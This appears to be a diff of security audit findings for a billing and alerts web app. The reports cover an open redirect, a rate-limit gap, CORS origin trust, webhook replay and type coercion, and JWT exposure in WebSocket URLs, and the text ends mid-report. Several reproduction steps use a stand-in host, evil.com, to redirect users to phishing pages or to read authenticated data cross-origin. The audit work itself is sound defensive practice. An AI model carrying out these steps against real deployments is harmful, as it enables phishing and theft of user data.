||||
- valibot `url()` validates URL format only, not domain
|
||||
- Stripe dashboard may have allowed redirect domains configured (partial protection)
|
||||
- No additional domain validation in `billing.service.ts`
|
||||
- `createPortalSession` has the same issue
|
||||
54
piolium/findings/p8-003-open-redirect-return-url/report.md
Normal file
54
piolium/findings/p8-003-open-redirect-return-url/report.md
Normal file
@@ -0,0 +1,54 @@
|
||||
Phase: 8
|
||||
Sequence: 003
|
||||
Slug: open-redirect-return-url
|
||||
Verdict: VALID
|
||||
Rationale: Return URL accepts arbitrary domains via valibot url() validator; passed directly to Stripe checkout/portal APIs enabling phishing redirects post-payment
|
||||
Severity-Original: medium
|
||||
Severity: medium
|
||||
PoC-Status: pending
|
||||
Pre-FP-Flag: none
|
||||
Debate: piolium/attack-surface/balanced-chamber-summary.md
|
||||
|
||||
## Summary
|
||||
The billing checkout and portal session schemas validate `returnUrl` using valibot's `url()` validator, which checks URL format but does NOT restrict the target domain. The URL is passed directly to Stripe's Checkout and Billing Portal APIs. After payment, Stripe redirects users to the attacker-controlled URL, enabling open redirect attacks to phishing sites.
|
||||
|
||||
## Location
|
||||
- `web/src/server/api/schemas/billing.ts` lines 4–6, 9–10 (schemas)
|
||||
- `web/src/server/api/routers/billing.ts` lines 43–54, 68–75 (usage)
|
||||
|
||||
## Attacker Control
|
||||
An authenticated user can set `returnUrl` to any valid URL (e.g., `https://evil.com/phish`). The URL is passed directly to Stripe's `return_url` parameter without domain validation.
|
||||
|
||||
## Trust Boundary Crossed
|
||||
Application control → External redirect destination. The application controls the redirect URL passed to Stripe, and an attacker can redirect users to an external domain they control.
|
||||
|
||||
## Impact
|
||||
Open redirect attacks via Stripe checkout/portal return URLs. Users are redirected to phishing pages that mimic Kordant's branding after payment. The redirect URL includes the Stripe session ID, which could be used for session fixation attacks.
|
||||
|
||||
## Evidence
|
||||
```typescript
|
||||
// Schema — no domain restriction
|
||||
export const CreateCheckoutSessionSchema = object({
|
||||
priceId: string([minLength(1)]),
|
||||
returnUrl: string([url()]), // URL format only
|
||||
});
|
||||
|
||||
// Usage — direct passthrough to Stripe
|
||||
const session = await stripe.checkout.sessions.create({
|
||||
return_url: `${returnUrl}?session_id=[REDACTED:secret]]
|
||||
// ...
|
||||
});
|
||||
```
|
||||
|
||||
## Reproduction Steps
|
||||
1. Authenticated user calls `billingRouter.createCheckoutSession` with `returnUrl: "https://evil.com/phish"`
|
||||
2. Stripe creates checkout session with attacker-controlled return URL
|
||||
3. User completes payment on Stripe's hosted page
|
||||
4. Stripe redirects user to `https://evil.com/phish?session_id=[REDACTED:secret]]
|
||||
5. User is confused — paid but redirected to suspicious page
|
||||
|
||||
## Defense Search Results
|
||||
- valibot `url()` validates URL format only, not domain
|
||||
- Stripe dashboard may have allowed redirect domains configured (partial protection)
|
||||
- No additional domain validation in `billing.service.ts`
|
||||
- `createPortalSession` has the same issue
|
||||
48
piolium/findings/p8-004-rate-limit-substring-bypass/draft.md
Normal file
48
piolium/findings/p8-004-rate-limit-substring-bypass/draft.md
Normal file
@@ -0,0 +1,48 @@
|
||||
Phase: 8
|
||||
Sequence: 004
|
||||
Slug: rate-limit-substring-bypass
|
||||
Verdict: VALID
|
||||
Rationale: Rate limiting sensitive path detection uses substring matching (path.includes) with incomplete sensitive list; sensitive operations like darkwatch.runScan and voiceprint.analyzeAudio get standard tier (100/min) instead of stricter limits
|
||||
Severity-Original: medium
|
||||
Severity: medium
|
||||
PoC-Status: pending
|
||||
Pre-FP-Flag: none
|
||||
Debate: piolium/attack-surface/balanced-chamber-summary.md
|
||||
|
||||
## Summary
|
||||
The rate limiting middleware in `web/src/server/api/utils.ts` detects sensitive paths using `path.includes(p)` where `p` is from a hardcoded list of sensitive operation names (`["login", "signup", "forgotPassword", "resetPassword"]`). This substring matching is imprecise and the sensitive list is incomplete — it only covers auth-related operations. Sensitive operations like `darkwatch.runScan` (triggers expensive external API calls), `voiceprint.analyzeAudio` (processes audio through ML), and `spamshield.classifySMS` get the standard `authenticated` tier (100/min) instead of a stricter `sensitive` tier (3/hr).
|
||||
|
||||
## Location
|
||||
- `web/src/server/api/utils.ts` lines 35–38 (rate limiting middleware)
|
||||
|
||||
## Attacker Control
|
||||
Any authenticated user can call sensitive operations at the higher rate limit (100/min) since they are not in the sensitive path list. The attacker does not need to craft special procedure paths — they simply use normal operations that are not covered by the sensitive list.
|
||||
|
||||
## Trust Boundary Crossed
|
||||
Rate limiting policy boundary. The rate limiter applies different limits based on operation sensitivity, and the incomplete sensitive list allows operations that should be rate-limited to proceed at higher rates.
|
||||
|
||||
## Impact
|
||||
Resource exhaustion and cost abuse for sensitive operations:
|
||||
- `darkwatch.runScan` can be called 100 times/min instead of 3/hr, triggering expensive external API calls (HIBP, SecurityTrails, Censys, Shodan)
|
||||
- `voiceprint.analyzeAudio` can be called 100 times/min, consuming memory and CPU for ML processing
|
||||
- Service disruption for other users on the same server
|
||||
|
||||
## Evidence
|
||||
```typescript
|
||||
const sensitivePaths = ["login", "signup", "forgotPassword", "resetPassword"];
|
||||
const effectiveTier = sensitivePaths.some((p) => path.includes(p)) ? "sensitive" : tier;
|
||||
```
|
||||
|
||||
## Reproduction Steps
|
||||
1. Authenticated user calls `darkwatch.runScan` with a watchlist item
|
||||
2. The procedure path `"darkwatch.runScan"` does not contain any sensitive path substring
|
||||
3. Rate limiter assigns `authenticated` tier (100/min) instead of `sensitive` tier (3/hr)
|
||||
4. User can trigger 100 scans per minute, each triggering 5+ external API calls
|
||||
5. Cumulative cost and resource impact affects all users
|
||||
|
||||
## Defense Search Results
|
||||
- `path.includes(p)` substring matching is imprecise
|
||||
- Sensitive list only covers auth-related operations
|
||||
- `rateLimitedProcedure` middleware is not applied to all procedures
|
||||
- No default sensitive tier for write operations (mutations)
|
||||
- No IP-based rate limiting as secondary dimension
|
||||
@@ -0,0 +1,48 @@
|
||||
Phase: 8
|
||||
Sequence: 004
|
||||
Slug: rate-limit-substring-bypass
|
||||
Verdict: VALID
|
||||
Rationale: Rate limiting sensitive path detection uses substring matching (path.includes) with incomplete sensitive list; sensitive operations like darkwatch.runScan and voiceprint.analyzeAudio get standard tier (100/min) instead of stricter limits
|
||||
Severity-Original: medium
|
||||
Severity: medium
|
||||
PoC-Status: pending
|
||||
Pre-FP-Flag: none
|
||||
Debate: piolium/attack-surface/balanced-chamber-summary.md
|
||||
|
||||
## Summary
|
||||
The rate limiting middleware in `web/src/server/api/utils.ts` detects sensitive paths using `path.includes(p)` where `p` is from a hardcoded list of sensitive operation names (`["login", "signup", "forgotPassword", "resetPassword"]`). This substring matching is imprecise and the sensitive list is incomplete — it only covers auth-related operations. Sensitive operations like `darkwatch.runScan` (triggers expensive external API calls), `voiceprint.analyzeAudio` (processes audio through ML), and `spamshield.classifySMS` get the standard `authenticated` tier (100/min) instead of a stricter `sensitive` tier (3/hr).
|
||||
|
||||
## Location
|
||||
- `web/src/server/api/utils.ts` lines 35–38 (rate limiting middleware)
|
||||
|
||||
## Attacker Control
|
||||
Any authenticated user can call sensitive operations at the higher rate limit (100/min) since they are not in the sensitive path list. The attacker does not need to craft special procedure paths — they simply use normal operations that are not covered by the sensitive list.
|
||||
|
||||
## Trust Boundary Crossed
|
||||
Rate limiting policy boundary. The rate limiter applies different limits based on operation sensitivity, and the incomplete sensitive list allows operations that should be rate-limited to proceed at higher rates.
|
||||
|
||||
## Impact
|
||||
Resource exhaustion and cost abuse for sensitive operations:
|
||||
- `darkwatch.runScan` can be called 100 times/min instead of 3/hr, triggering expensive external API calls (HIBP, SecurityTrails, Censys, Shodan)
|
||||
- `voiceprint.analyzeAudio` can be called 100 times/min, consuming memory and CPU for ML processing
|
||||
- Service disruption for other users on the same server
|
||||
|
||||
## Evidence
|
||||
```typescript
|
||||
const sensitivePaths = ["login", "signup", "forgotPassword", "resetPassword"];
|
||||
const effectiveTier = sensitivePaths.some((p) => path.includes(p)) ? "sensitive" : tier;
|
||||
```
|
||||
|
||||
## Reproduction Steps
|
||||
1. Authenticated user calls `darkwatch.runScan` with a watchlist item
|
||||
2. The procedure path `"darkwatch.runScan"` does not contain any sensitive path substring
|
||||
3. Rate limiter assigns `authenticated` tier (100/min) instead of `sensitive` tier (3/hr)
|
||||
4. User can trigger 100 scans per minute, each triggering 5+ external API calls
|
||||
5. Cumulative cost and resource impact affects all users
|
||||
|
||||
## Defense Search Results
|
||||
- `path.includes(p)` substring matching is imprecise
|
||||
- Sensitive list only covers auth-related operations
|
||||
- `rateLimitedProcedure` middleware is not applied to all procedures
|
||||
- No default sensitive tier for write operations (mutations)
|
||||
- No IP-based rate limiting as secondary dimension
|
||||
52
piolium/findings/p8-005-cors-origin-env-var/draft.md
Normal file
52
piolium/findings/p8-005-cors-origin-env-var/draft.md
Normal file
@@ -0,0 +1,52 @@
|
||||
Phase: 8
|
||||
Sequence: 005
|
||||
Slug: cors-origin-env-var
|
||||
Verdict: VALID
|
||||
Rationale: CORS middleware trusts APP_URL environment variable as an allowed origin without domain validation; if env var is injected, attacker can control the CORS origin whitelist
|
||||
Severity-Original: high
|
||||
Severity: medium
|
||||
PoC-Status: pending
|
||||
Pre-FP-Flag: none
|
||||
Debate: piolium/attack-surface/balanced-chamber-summary.md
|
||||
|
||||
## Summary
|
||||
The CORS middleware in `web/src/middleware.ts` trusts `process.env.APP_URL` as an allowed CORS origin. If an attacker can control the `APP_URL` environment variable (via CI/CD pipeline compromise, container env injection, or shared hosting environment), they can set an arbitrary allowed origin. The middleware then echoes back the attacker-controlled origin in the `Access-Control-Allow-Origin` header with `Access-Control-Allow-Credentials: true`, enabling authenticated cross-origin data theft.
|
||||
|
||||
## Location
|
||||
- `web/src/middleware.ts` lines 22–30 (CORS middleware)
|
||||
|
||||
## Attacker Control
|
||||
An attacker who can set environment variables on the deployment can set `APP_URL=https://evil.com`. The middleware will then allow `Origin: https://evil.com` requests and set `Access-Control-Allow-Origin: https://evil.com` with credentials.
|
||||
|
||||
## Trust Boundary Crossed
|
||||
CORS policy boundary. The application trusts a single environment variable as a CORS origin whitelist entry, allowing an attacker-controlled origin to bypass same-origin policy.
|
||||
|
||||
## Impact
|
||||
Full cross-origin data exfiltration from the tRPC API. An attacker-controlled origin can read all authenticated tRPC procedures including user profiles, billing data, darkwatch exposure data, voiceprint analysis results, and admin statistics.
|
||||
|
||||
## Evidence
|
||||
```typescript
|
||||
const allowedOrigins = [
|
||||
"http://localhost:3000",
|
||||
"http://localhost:3001",
|
||||
process.env.APP_URL, // Unvalidated env var
|
||||
].filter(Boolean);
|
||||
|
||||
if (origin && allowedOrigins.includes(origin)) {
|
||||
event.response.headers.set("Access-Control-Allow-Origin", origin);
|
||||
event.response.headers.set("Access-Control-Allow-Credentials", "true");
|
||||
}
|
||||
```
|
||||
|
||||
## Reproduction Steps
|
||||
1. Attacker gains ability to set environment variables on the deployment
|
||||
2. Attacker sets `APP_URL=https://evil.com`
|
||||
3. Attacker's web page loads and makes tRPC requests with `Origin: https://evil.com`
|
||||
4. Server responds with `Access-Control-Allow-Origin: https://evil.com` + `Access-Control-Allow-Credentials: true`
|
||||
5. Attacker's JavaScript reads authenticated tRPC responses (user data, billing info, etc.)
|
||||
|
||||
## Defense Search Results
|
||||
- `APP_URL` env var is trusted without domain validation
|
||||
- Origin check uses exact string matching (no wildcard or prefix)
|
||||
- `Access-Control-Allow-Credentials: true` allows cookie-based auth in CORS requests
|
||||
- No framework-level CORS configuration with explicit origin lists
|
||||
52
piolium/findings/p8-005-cors-origin-env-var/report.md
Normal file
52
piolium/findings/p8-005-cors-origin-env-var/report.md
Normal file
@@ -0,0 +1,52 @@
|
||||
Phase: 8
|
||||
Sequence: 005
|
||||
Slug: cors-origin-env-var
|
||||
Verdict: VALID
|
||||
Rationale: CORS middleware trusts APP_URL environment variable as an allowed origin without domain validation; if env var is injected, attacker can control the CORS origin whitelist
|
||||
Severity-Original: high
|
||||
Severity: medium
|
||||
PoC-Status: pending
|
||||
Pre-FP-Flag: none
|
||||
Debate: piolium/attack-surface/balanced-chamber-summary.md
|
||||
|
||||
## Summary
|
||||
The CORS middleware in `web/src/middleware.ts` trusts `process.env.APP_URL` as an allowed CORS origin. If an attacker can control the `APP_URL` environment variable (via CI/CD pipeline compromise, container env injection, or shared hosting environment), they can set an arbitrary allowed origin. The middleware then echoes back the attacker-controlled origin in the `Access-Control-Allow-Origin` header with `Access-Control-Allow-Credentials: true`, enabling authenticated cross-origin data theft.
|
||||
|
||||
## Location
|
||||
- `web/src/middleware.ts` lines 22–30 (CORS middleware)
|
||||
|
||||
## Attacker Control
|
||||
An attacker who can set environment variables on the deployment can set `APP_URL=https://evil.com`. The middleware will then allow `Origin: https://evil.com` requests and set `Access-Control-Allow-Origin: https://evil.com` with credentials.
|
||||
|
||||
## Trust Boundary Crossed
|
||||
CORS policy boundary. The application trusts a single environment variable as a CORS origin whitelist entry, allowing an attacker-controlled origin to bypass same-origin policy.
|
||||
|
||||
## Impact
|
||||
Full cross-origin data exfiltration from the tRPC API. An attacker-controlled origin can read all authenticated tRPC procedures including user profiles, billing data, darkwatch exposure data, voiceprint analysis results, and admin statistics.
|
||||
|
||||
## Evidence
|
||||
```typescript
|
||||
const allowedOrigins = [
|
||||
"http://localhost:3000",
|
||||
"http://localhost:3001",
|
||||
process.env.APP_URL, // Unvalidated env var
|
||||
].filter(Boolean);
|
||||
|
||||
if (origin && allowedOrigins.includes(origin)) {
|
||||
event.response.headers.set("Access-Control-Allow-Origin", origin);
|
||||
event.response.headers.set("Access-Control-Allow-Credentials", "true");
|
||||
}
|
||||
```
|
||||
|
||||
## Reproduction Steps
|
||||
1. Attacker gains ability to set environment variables on the deployment
|
||||
2. Attacker sets `APP_URL=https://evil.com`
|
||||
3. Attacker's web page loads and makes tRPC requests with `Origin: https://evil.com`
|
||||
4. Server responds with `Access-Control-Allow-Origin: https://evil.com` + `Access-Control-Allow-Credentials: true`
|
||||
5. Attacker's JavaScript reads authenticated tRPC responses (user data, billing info, etc.)
|
||||
|
||||
## Defense Search Results
|
||||
- `APP_URL` env var is trusted without domain validation
|
||||
- Origin check uses exact string matching (no wildcard or prefix)
|
||||
- `Access-Control-Allow-Credentials: true` allows cookie-based auth in CORS requests
|
||||
- No framework-level CORS configuration with explicit origin lists
|
||||
53
piolium/findings/p8-006-webhook-type-coercion/draft.md
Normal file
53
piolium/findings/p8-006-webhook-type-coercion/draft.md
Normal file
@@ -0,0 +1,53 @@
|
||||
Phase: 8
|
||||
Sequence: 006
|
||||
Slug: webhook-type-coercion
|
||||
Verdict: VALID
|
||||
Rationale: Stripe webhook handler uses chained type coercion (as unknown as Record<string, unknown>) that bypasses TypeScript type safety; malformed or unexpected webhook data can produce silent failures and data corruption
|
||||
Severity-Original: medium
|
||||
Severity: medium
|
||||
PoC-Status: pending
|
||||
Pre-FP-Flag: none
|
||||
Debate: piolium/attack-surface/balanced-chamber-summary.md
|
||||
|
||||
## Summary
|
||||
The Stripe webhook event handler in `web/src/server/services/billing.service.ts` uses `as unknown as Record<string, unknown>` to cast event data, completely bypassing TypeScript type safety. When fields are accessed and cast (e.g., `sub.status as string`, `sub.current_period_start as number`), type mismatches produce silent failures — `undefined` values, `NaN` dates, or wrong types — that get stored in the database without validation.
|
||||
|
||||
## Location
|
||||
- `web/src/server/services/billing.service.ts` lines 173, 196, 207 (coercion points)
|
||||
- `web/src/server/services/billing.service.ts` lines 115–132 (updateSubscriptionInDB)
|
||||
|
||||
## Attacker Control
|
||||
An attacker with `STRIPE_WEBHOOK_SECRET` (or via log exposure) can forge webhook events with unexpected field types. The type coercion allows these malformed events to be processed without throwing errors, leading to data corruption.
|
||||
|
||||
## Trust Boundary Crossed
|
||||
External API boundary (Stripe webhook) → Database boundary. Malformed external data bypasses type checking and is stored in the database without validation.
|
||||
|
||||
## Impact
|
||||
Incorrect subscription state updates, data corruption (Invalid Date values, undefined fields), potential data integrity issues if Drizzle accepts unexpected fields via `set(data as Record<string, unknown>)`.
|
||||
|
||||
## Evidence
|
||||
```typescript
|
||||
// Chained type coercion — bypasses TypeScript safety
|
||||
const obj = event.data.object as unknown as Record<string, unknown>;
|
||||
|
||||
// Silent failures on type mismatches
|
||||
currentPeriodStart: new Date((sub.current_period_start as number) * 1000),
|
||||
// If sub.current_period_start is undefined → NaN → Invalid Date
|
||||
|
||||
// Arbitrary field injection
|
||||
await ctx.db.update(subscriptions).set(data as Record<string, unknown>)
|
||||
```
|
||||
|
||||
## Reproduction Steps
|
||||
1. Attacker forges webhook event with unexpected field types (requires webhook secret)
|
||||
2. `handleWebhookEvent()` processes the event with type coercion
|
||||
3. Missing/malformed fields produce `undefined` or `NaN` values
|
||||
4. `updateSubscriptionInDB()` stores corrupted values in the database
|
||||
5. Subscription state becomes incorrect (Invalid Date, wrong status, etc.)
|
||||
|
||||
## Defense Search Results
|
||||
- Stripe signature verification (`constructEvent()`) prevents forgery without the secret
|
||||
- `switch (event.type)` limits which branches execute
|
||||
- No field-level validation before DB write
|
||||
- `updateSubscriptionInDB` accepts `data as Record<string, unknown>`, bypassing Drizzle type safety
|
||||
- No webhook event ID deduplication (see p8-007)
|
||||
53
piolium/findings/p8-006-webhook-type-coercion/report.md
Normal file
53
piolium/findings/p8-006-webhook-type-coercion/report.md
Normal file
@@ -0,0 +1,53 @@
|
||||
Phase: 8
|
||||
Sequence: 006
|
||||
Slug: webhook-type-coercion
|
||||
Verdict: VALID
|
||||
Rationale: Stripe webhook handler uses chained type coercion (as unknown as Record<string, unknown>) that bypasses TypeScript type safety; malformed or unexpected webhook data can produce silent failures and data corruption
|
||||
Severity-Original: medium
|
||||
Severity: medium
|
||||
PoC-Status: pending
|
||||
Pre-FP-Flag: none
|
||||
Debate: piolium/attack-surface/balanced-chamber-summary.md
|
||||
|
||||
## Summary
|
||||
The Stripe webhook event handler in `web/src/server/services/billing.service.ts` uses `as unknown as Record<string, unknown>` to cast event data, completely bypassing TypeScript type safety. When fields are accessed and cast (e.g., `sub.status as string`, `sub.current_period_start as number`), type mismatches produce silent failures — `undefined` values, `NaN` dates, or wrong types — that get stored in the database without validation.
|
||||
|
||||
## Location
|
||||
- `web/src/server/services/billing.service.ts` lines 173, 196, 207 (coercion points)
|
||||
- `web/src/server/services/billing.service.ts` lines 115–132 (updateSubscriptionInDB)
|
||||
|
||||
## Attacker Control
|
||||
An attacker with `STRIPE_WEBHOOK_SECRET` (or via log exposure) can forge webhook events with unexpected field types. The type coercion allows these malformed events to be processed without throwing errors, leading to data corruption.
|
||||
|
||||
## Trust Boundary Crossed
|
||||
External API boundary (Stripe webhook) → Database boundary. Malformed external data bypasses type checking and is stored in the database without validation.
|
||||
|
||||
## Impact
|
||||
Incorrect subscription state updates, data corruption (Invalid Date values, undefined fields), potential data integrity issues if Drizzle accepts unexpected fields via `set(data as Record<string, unknown>)`.
|
||||
|
||||
## Evidence
|
||||
```typescript
|
||||
// Chained type coercion — bypasses TypeScript safety
|
||||
const obj = event.data.object as unknown as Record<string, unknown>;
|
||||
|
||||
// Silent failures on type mismatches
|
||||
currentPeriodStart: new Date((sub.current_period_start as number) * 1000),
|
||||
// If sub.current_period_start is undefined → NaN → Invalid Date
|
||||
|
||||
// Arbitrary field injection
|
||||
await ctx.db.update(subscriptions).set(data as Record<string, unknown>)
|
||||
```
|
||||
|
||||
## Reproduction Steps
|
||||
1. Attacker forges webhook event with unexpected field types (requires webhook secret)
|
||||
2. `handleWebhookEvent()` processes the event with type coercion
|
||||
3. Missing/malformed fields produce `undefined` or `NaN` values
|
||||
4. `updateSubscriptionInDB()` stores corrupted values in the database
|
||||
5. Subscription state becomes incorrect (Invalid Date, wrong status, etc.)
|
||||
|
||||
## Defense Search Results
|
||||
- Stripe signature verification (`constructEvent()`) prevents forgery without the secret
|
||||
- `switch (event.type)` limits which branches execute
|
||||
- No field-level validation before DB write
|
||||
- `updateSubscriptionInDB` accepts `data as Record<string, unknown>`, bypassing Drizzle type safety
|
||||
- No webhook event ID deduplication (see p8-007)
|
||||
59
piolium/findings/p8-007-webhook-replay/draft.md
Normal file
59
piolium/findings/p8-007-webhook-replay/draft.md
Normal file
@@ -0,0 +1,59 @@
|
||||
Phase: 8
|
||||
Sequence: 007
|
||||
Slug: webhook-replay
|
||||
Verdict: VALID
|
||||
Rationale: Stripe webhook handler has no event ID deduplication for most event types; replayed events for invoice.paid, invoice.payment_failed, customer.subscription.updated, and customer.subscription.deleted will re-execute their handlers
|
||||
Severity-Original: medium
|
||||
Severity: medium
|
||||
PoC-Status: pending
|
||||
Pre-FP-Flag: none
|
||||
Debate: piolium/attack-surface/balanced-chamber-summary.md
|
||||
|
||||
## Summary
|
||||
The Stripe webhook handler at `/api/stripe/webhook` has no event ID deduplication. While `checkout.session.completed` uses `onConflictDoNothing()` on `stripeId` (providing partial protection), other event types (`invoice.paid`, `invoice.payment_failed`, `customer.subscription.updated`, `customer.subscription.deleted`) have no idempotency checks. An attacker who obtains `STRIPE_WEBHOOK_SECRET` can forge or replay events to manipulate subscription state.
|
||||
|
||||
## Location
|
||||
- `web/src/routes/api/stripe/webhook.ts` lines 18–21 (entry point)
|
||||
- `web/src/server/services/billing.service.ts` lines 142–223 (handler)
|
||||
|
||||
## Attacker Control
|
||||
An attacker with `STRIPE_WEBHOOK_SECRET` (or via log exposure) can forge or replay webhook events. The attacker can replay `customer.subscription.updated` to change user tier, `invoice.paid` to re-activate canceled subscriptions, or `customer.subscription.deleted` to cancel active subscriptions.
|
||||
|
||||
## Trust Boundary Crossed
|
||||
External API boundary (Stripe webhook) → Payment processing boundary. Replay of webhook events can manipulate subscription state without Stripe's knowledge.
|
||||
|
||||
## Impact
|
||||
- Replay `customer.subscription.updated` to change user tier (e.g., downgrade premium users)
|
||||
- Replay `invoice.paid` to re-activate canceled subscriptions
|
||||
- Replay `customer.subscription.deleted` to cancel active subscriptions (DoS)
|
||||
- `checkout.session.completed` is partially protected by `onConflictDoNothing()`, but replayed events with different `stripeId` values could still succeed
|
||||
|
||||
## Evidence
|
||||
```typescript
|
||||
// checkout.session.completed — partial protection
|
||||
await db.insert(subscriptions).values({...}).onConflictDoNothing();
|
||||
|
||||
// Other event types — NO idempotency check
|
||||
case "invoice.paid": {
|
||||
await updateSubscriptionInDB(invoice.subscription as string, { status: "active" });
|
||||
break;
|
||||
}
|
||||
case "customer.subscription.updated": {
|
||||
await updateSubscriptionInDB(stripeSub.id, { tier, status, ... });
|
||||
break;
|
||||
}
|
||||
```
|
||||
|
||||
## Reproduction Steps
|
||||
1. Attacker obtains `STRIPE_WEBHOOK_SECRET` (via log exposure or other means)
|
||||
2. Attacker sends a forged POST to `/api/stripe/webhook` with valid Stripe signature
|
||||
3. Event type: `customer.subscription.updated` with attacker-controlled tier/status
|
||||
4. `handleWebhookEvent()` processes the event without checking event ID
|
||||
5. Subscription state is updated to attacker-controlled values
|
||||
|
||||
## Defense Search Results
|
||||
- Stripe signature verification (`constructEvent()`) prevents forgery without the secret
|
||||
- `onConflictDoNothing()` provides partial protection for `checkout.session.completed`
|
||||
- No event ID deduplication table or check
|
||||
- No idempotency key in the webhook handler
|
||||
- `updateSubscriptionInDB` does not check for duplicate processing
|
||||
59
piolium/findings/p8-007-webhook-replay/report.md
Normal file
59
piolium/findings/p8-007-webhook-replay/report.md
Normal file
@@ -0,0 +1,59 @@
|
||||
Phase: 8
|
||||
Sequence: 007
|
||||
Slug: webhook-replay
|
||||
Verdict: VALID
|
||||
Rationale: Stripe webhook handler has no event ID deduplication for most event types; replayed events for invoice.paid, invoice.payment_failed, customer.subscription.updated, and customer.subscription.deleted will re-execute their handlers
|
||||
Severity-Original: medium
|
||||
Severity: medium
|
||||
PoC-Status: pending
|
||||
Pre-FP-Flag: none
|
||||
Debate: piolium/attack-surface/balanced-chamber-summary.md
|
||||
|
||||
## Summary
|
||||
The Stripe webhook handler at `/api/stripe/webhook` has no event ID deduplication. While `checkout.session.completed` uses `onConflictDoNothing()` on `stripeId` (providing partial protection), other event types (`invoice.paid`, `invoice.payment_failed`, `customer.subscription.updated`, `customer.subscription.deleted`) have no idempotency checks. An attacker who obtains `STRIPE_WEBHOOK_SECRET` can forge or replay events to manipulate subscription state.
|
||||
|
||||
## Location
|
||||
- `web/src/routes/api/stripe/webhook.ts` lines 18–21 (entry point)
|
||||
- `web/src/server/services/billing.service.ts` lines 142–223 (handler)
|
||||
|
||||
## Attacker Control
|
||||
An attacker with `STRIPE_WEBHOOK_SECRET` (or via log exposure) can forge or replay webhook events. The attacker can replay `customer.subscription.updated` to change user tier, `invoice.paid` to re-activate canceled subscriptions, or `customer.subscription.deleted` to cancel active subscriptions.
|
||||
|
||||
## Trust Boundary Crossed
|
||||
External API boundary (Stripe webhook) → Payment processing boundary. Replay of webhook events can manipulate subscription state without Stripe's knowledge.
|
||||
|
||||
## Impact
|
||||
- Replay `customer.subscription.updated` to change user tier (e.g., downgrade premium users)
|
||||
- Replay `invoice.paid` to re-activate canceled subscriptions
|
||||
- Replay `customer.subscription.deleted` to cancel active subscriptions (DoS)
|
||||
- `checkout.session.completed` is partially protected by `onConflictDoNothing()`, but replayed events with different `stripeId` values could still succeed
|
||||
|
||||
## Evidence
|
||||
```typescript
|
||||
// checkout.session.completed — partial protection
|
||||
await db.insert(subscriptions).values({...}).onConflictDoNothing();
|
||||
|
||||
// Other event types — NO idempotency check
|
||||
case "invoice.paid": {
|
||||
await updateSubscriptionInDB(invoice.subscription as string, { status: "active" });
|
||||
break;
|
||||
}
|
||||
case "customer.subscription.updated": {
|
||||
await updateSubscriptionInDB(stripeSub.id, { tier, status, ... });
|
||||
break;
|
||||
}
|
||||
```
|
||||
|
||||
## Reproduction Steps
|
||||
1. Attacker obtains `STRIPE_WEBHOOK_SECRET` (via log exposure or other means)
|
||||
2. Attacker sends a forged POST to `/api/stripe/webhook` with valid Stripe signature
|
||||
3. Event type: `customer.subscription.updated` with attacker-controlled tier/status
|
||||
4. `handleWebhookEvent()` processes the event without checking event ID
|
||||
5. Subscription state is updated to attacker-controlled values
|
||||
|
||||
## Defense Search Results
|
||||
- Stripe signature verification (`constructEvent()`) prevents forgery without the secret
|
||||
- `onConflictDoNothing()` provides partial protection for `checkout.session.completed`
|
||||
- No event ID deduplication table or check
|
||||
- No idempotency key in the webhook handler
|
||||
- `updateSubscriptionInDB` does not check for duplicate processing
|
||||
48
piolium/findings/p8-008-websocket-jwt-query-param/draft.md
Normal file
48
piolium/findings/p8-008-websocket-jwt-query-param/draft.md
Normal file
@@ -0,0 +1,48 @@
|
||||
Phase: 8
|
||||
Sequence: 008
|
||||
Slug: websocket-jwt-query-param
|
||||
Verdict: VALID
|
||||
Rationale: WebSocket JWT passed in query parameter is visible in server/proxy/access logs; captured JWTs can be replayed to hijack WebSocket connections
|
||||
Severity-Original: medium
|
||||
Severity: medium
|
||||
PoC-Status: pending
|
||||
Pre-FP-Flag: none
|
||||
Debate: piolium/attack-surface/balanced-chamber-summary.md
|
||||
|
||||
## Summary
|
||||
The WebSocket server in `web/src/server/websocket.ts` authenticates connections by extracting a JWT from the `?token=[REDACTED:secret]] query parameter. This means the JWT token is visible in server access logs, proxy/load balancer logs (nginx, CloudFront, Vercel edge logs), browser network history, and any log aggregation system. An attacker with access to these logs can capture JWTs and connect to the WebSocket server as any user.
|
||||
|
||||
## Location
|
||||
- `web/src/server/websocket.ts` lines 39–43 (token extraction)
|
||||
- `web/src/server/websocket.ts` lines 56–67 (authentication)
|
||||
|
||||
## Attacker Control
|
||||
An attacker with access to server/proxy logs can capture JWTs from WebSocket connection URLs. The captured JWT can be replayed to establish WebSocket connections as the victim user.
|
||||
|
||||
## Trust Boundary Crossed
|
||||
Authentication boundary. JWT tokens are exposed through log layers, allowing attackers to authenticate as any user by replaying captured tokens.
|
||||
|
||||
## Impact
|
||||
JWT token leakage through server logs enables WebSocket connection hijacking for any user whose token appears in logs. The attacker gains read-only access to real-time alerts (darkwatch exposures, voiceprint alerts, spam notifications).
|
||||
|
||||
## Evidence
|
||||
```typescript
|
||||
function getTokenFromRequest(req: IncomingMessage): string | null {
|
||||
const url = new URL(req.url ?? "/", "http://localhost");
|
||||
return url.searchParams.get("token"); // JWT in query string
|
||||
}
|
||||
```
|
||||
|
||||
## Reproduction Steps
|
||||
1. Legitimate user connects WebSocket with `ws://host:3001/?token=[REDACTED:secret]]
|
||||
2. Server logs the full URL including the JWT token
|
||||
3. Attacker gains access to server logs (via log aggregation compromise, shared hosting, etc.)
|
||||
4. Attacker replays the JWT to establish a WebSocket connection as the victim
|
||||
5. Attacker receives real-time alerts for the victim's account
|
||||
|
||||
## Defense Search Results
|
||||
- JWT verification (`verifyJWT()`) validates signature and expiry
|
||||
- No `Origin` header validation on WebSocket upgrade (see p8-009)
|
||||
- No `Sec-WebSocket-Protocol` header validation
|
||||
- No message size limit
|
||||
- Heartbeat timeout (30s interval + 10s pong timeout) prevents slow-loris DoS
|
||||
48
piolium/findings/p8-008-websocket-jwt-query-param/report.md
Normal file
48
piolium/findings/p8-008-websocket-jwt-query-param/report.md
Normal file
@@ -0,0 +1,48 @@
|
||||
Phase: 8
|
||||
Sequence: 008
|
||||
Slug: websocket-jwt-query-param
|
||||
Verdict: VALID
|
||||
Rationale: WebSocket JWT passed in query parameter is visible in server/proxy/access logs; captured JWTs can be replayed to hijack WebSocket connections
|
||||
Severity-Original: medium
|
||||
Severity: medium
|
||||
PoC-Status: pending
|
||||
Pre-FP-Flag: none
|
||||
Debate: piolium/attack-surface/balanced-chamber-summary.md
|
||||
|
||||
## Summary
|
||||
